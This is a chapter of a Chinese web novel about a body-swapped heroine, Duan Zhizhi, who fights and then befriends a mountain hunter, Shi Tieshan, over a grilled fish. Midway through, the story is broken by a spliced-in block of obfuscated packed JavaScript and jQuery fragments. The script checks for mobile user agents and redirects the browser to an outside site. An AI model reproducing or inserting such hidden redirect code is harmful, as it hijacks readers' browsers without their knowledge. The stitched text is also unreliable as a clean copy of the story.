鱼叉刺入水中,溪水飞溅在脸上——叉中了!
段稚知兴奋地提起树枝,一条干瘪的鱼因被刺穿了身体而拼命扭动。
估摸着时间差不多了,段稚知这才恋恋不舍地停下捕鱼的动作。
她一手提着鱼,一边往回走。
一路上,她心里默默盘算着,已经过去这么久了,系统都还没播报重置或者解绑的提示,看来霍君安目前应该没什么大问题。
想到这里,她不禁暗自庆幸。
当段稚知走到离木屋大约十步远的地方时,木屋的门“吱呀”一声被推开,一个身形高大的汉子从里面走了出来。
两人的目光瞬间交汇在一起,空气仿佛在这一刻凝固。
段稚知手中的鱼“扑通”一声掉落在地,她几乎是本能地瞬间抽出腰间的匕首,摆出一副随时应对的架势。
而那汉子也毫不示弱,眼神瞬间变得犀利起来,紧紧地盯着段稚知。
段稚知无心打斗,心里满是对屋内霍君安的牵挂。
她清楚地记得自己离开时,霍君安还在昏睡之中,虽说系统没有播报危险,但她的心还是悬着。
先解决了这个汉子再说!段稚知在心里暗暗下定决心。
可就在她准备动手的瞬间,脑海中突然浮现出之前用匕首却被霍君安反杀的场景。
“关键时候,还得是我段氏八极拳!”段稚知咬了咬牙,当机立断扔掉手中的匕首,迅速半蹲下来,出拳摆出起势的姿势。
她的眼神坚定而锐利,浑身散发着一股不容小觑的气势。
那汉子看到段稚知的举动,微微挑眉,眼中闪过一丝惊讶,随后也将藏在身后的棍子扔到一旁,同样摆开架势。
只见他扎稳马步,膝盖微微弯曲,上身挺直,双手虚握成拳置于腰间,眼神紧紧锁住段稚知,宛如一头蓄势待发的猎豹。
段稚知心中了然,这也是个学武之人。
那今日定要让这个山野村夫见识见识段氏八极拳的厉害。
她脚下猛地一跺,身子如离弦之箭冲向汉子。
同时,右肘猛然发力,好似炮弹般轰向汉子的胸口。
这正是八极拳中的“顶心肘”变招,借腰胯之力,刚猛无比。
汉子见状,不慌不忙,上身微侧,巧妙地避开这凌厉的一肘,同时挥臂如鞭,抽打向段稚知的手臂,意图卸去她的拳力。
几个回合下来,段稚知有些吃不消,这汉子的力气太大了。
不仅力气大,还扛揍,防御力直接拉满。
段稚知瞧好机会,迎上汉子那沙包大的拳头,使出“阎王三点手”。
那汉子向后连退几步后站定在原地。
什么?!
刚刚自己确实点到他的喉咙了啊,怎么还能站着,他喉咙是铁做的吗?
两人各自站定,眼神对视,均是气喘吁吁,但谁也没有退缩之意。
“好拳法!”那汉子出声十分沙哑,但言语之中满是对段稚知的欣赏。
听着汉子那因为被击中而略显沙哑的声音,段稚知这才确定自己方才那一招确实奏效了。
她大口大口地喘着粗气,挤出一句:“你也不赖。”
汉子同样气息不稳,一边剧烈地喘息,一边满脸困惑地问道:“我瞅着你也并非那等蛮不讲理的人,咱俩无冤无仇,怎么今儿个一照面就非得拼个你死我活呢?”
“我不过是在自家门口站着,啥招惹人的事儿都没干呐。”汉子挠了挠头,那憨态可掬的脸上写满了疑惑。
段稚知这才反应过来,其实这汉子对自己压根儿就没有半分恶意。
回想起刚刚的场景,确实是自己率先摆出攻击架势的。
她不禁面露尴尬,连忙对着汉子连声道:“对不住,对不住啊!”
然而,就在这一瞬间,她猛地想起还在屋内昏睡的霍君安,心里“咯噔”一下。
糟了,霍君安如今用的可是自己的身体啊!
刚刚离开的时候,因为着急去找吃的,就只给霍君安穿了个肚兜,盖上衣服就出门了。
眼看这汉子正值血气方刚的年纪,该不会对自己的身体做出什么奇怪的事吧?
想到这儿,段稚知心急如焚,脚下生风,向木屋冲去。
汉子下意识地伸手想要阻拦,可段稚知凭借着蛇皮走位,巧妙地避开了他的手。
她几步冲到床前,一把掀开盖在霍君安身上的衣物。
双眼急切地在霍君安的身体上仔细搜寻,生怕错过任何一个奇怪的印记。
汉子被她这突兀的举动吓了一跳,赶忙一个箭步挡在霍君安身前,脸上怒意浮现,大声呵斥道:“我原本还以为你是个有武德的正人君子,没想到一进屋就对这姑娘动手动脚,竟想行那不轨之事!”
段稚知又急又气,不假思索地脱口而出:“那是我的...”
话到嘴边,她才猛地回过神来,硬生生把“身体”二字咽了回去。
汉子满脸狐疑地反问道:“你的什么?”
段稚知脑子飞速运转,急忙说道:“我的妹妹!我看她是不是受欺负了。”
汉子这才稍稍放松下来,长舒一口气说道:“原来是令妹啊。你说说你这个当哥哥的,怎么能把衣衫不整、肌肤胜雪的妹妹独自丢在陌生人家里呢,这多危险呐。”
“什么肌肤胜雪?你是不是偷看了!”段稚知一听,顿时火冒三丈。
汉子的脸瞬间涨得通红,如同熟透的番茄,结结巴巴地辩解道:“没...没..不是你想的那样。”
段稚知哪里还按捺得住心中的怒火,猛地扑上去,双手死死地掐住汉子的脖子,嘴里骂道:“你这臭小子!那是我的...”
汉子理亏被掐得满脸通红都不还手,双手拼命地挥舞着,赶忙大声求饶:“是你的妹妹,我知道那是你妹妹,我会负责的,我娶她总成了吧!”
段稚知气得七窍生烟,大声吼道:“我一口盐汽水喷死你,你还敢说娶我!”
“我没说娶你,我没有龙阳之好,”汉子握住段稚知的手,“我刚回家就看到床上有什么,我总得掀开看看,你妹妹我已经喂过药了,你要杀你妹妹的救命恩人吗。”
......
误会开解,刚刚还在掐架的两人现在已经坐在一起烤鱼吃了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411952|168263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
段稚知手里拿着汉子刚刚摘回来的果子,轻轻咬上一口,酸甜的汁液在口中散开,“说完我的名字了,你呢你叫什么?”
汉子说,“史铁山。”
段稚知被果子的汁水呛住,“咳咳咳,你不会还有个弟弟叫史铁生吧?”
“你怎么知道?不过不是我弟弟,是我爹!”史铁山惊讶道。
不行了,这个剧情太崩坏了,段稚知想笑憋在心里。
见段稚知不回答,史铁山在一旁时不时翻动着烤鱼,眼睛盯着跳跃的火苗,突然开口问道:“你们兄妹俩怎么会流落到这荒郊野地来的?”
段稚知微微一怔,脑海中迅速编造出一个故事,语气带着几分无奈与苦涩说道:“唉,实不相瞒,我爹前些日子突然去世,后母为了侵占家中财产,竟狠心派人追杀我们兄妹。这两夜,我们一路逃命,才到了这里。”
说着,她看了眼身上虽有些凌乱却依旧华丽的衣袍,似乎是在为这个故事增添几分可信度。
史铁山听闻,目光落在他们的衣袍上,心中已然信了八分。
他点了点头,脸上露出同情之色。
段稚知见此,反问汉子:“那你呢?你怎么会独自住在这?”
史铁山深深叹了口气,脸上浮现出一抹落寞。
他往火堆里添了根柴,缓缓说道:“说来也巧,我竟与霍兄有着相似的经历,我家原本也只是普通良民,并不富裕。母亲去世后,父亲便再娶了。”
“继母进门后生了个弟弟,如今才十六岁,却已经中了举人,也算是有些才学。可现在这世道,世家大族垄断仕途,像我们这样的平民百姓,即便有惊世之才,想要当官,谈何容易。”
史铁山顿了顿,继续说道:“我那在家里千娇万宠的弟弟如今在金州谢家谋了个谋士的差事,我呢,似乎没什么用处,只能劈劈柴火,或是去码头帮着做点工,但我这饭量着实不小,继母本就厌恶我,便随便找了个由头,把我赶到这来了。”
段稚知听完,原本还在咀嚼果子的动作停了下来,嘴里的东西瞬间没了滋味。
自己编造的故事固然不错,但真实发生的事情更让人动容。
史铁山看着段稚知同情的眼神,憨笑道,“那有啥,我现在在山里打猎采药,也能吃饱。”
段稚知看着这破烂的屋子,心中腹诽:是只能吃饱吧。
毕竟,有谁乐意住这样连雨都挡不住的破屋呢,有点钱肯定就改造了呀。
“对了霍兄,你这鱼哪来的啊?”史铁山问。
“就前面那条小溪啊。”段稚知边吃边说。
史铁山猛然看向段稚知,眼神里有幽怨,“我恨你,霍兄。”
“咋了这是?”段稚知不明所以。
“那是我专程花钱买回来的鱼,过些日子打算养肥了再吃的。”史铁山暴起,去抢段稚知手上的半只鱼,“给我吧你!”
段稚知把鱼藏在身后,“诶,这是我吃过的,还有一条你怎么不吃。”
史铁山一口咬下手中的鱼,也不管刺,嘎巴嘎巴的咀嚼了几下,专心去抢段稚知手上的,“那是给妹妹留的。”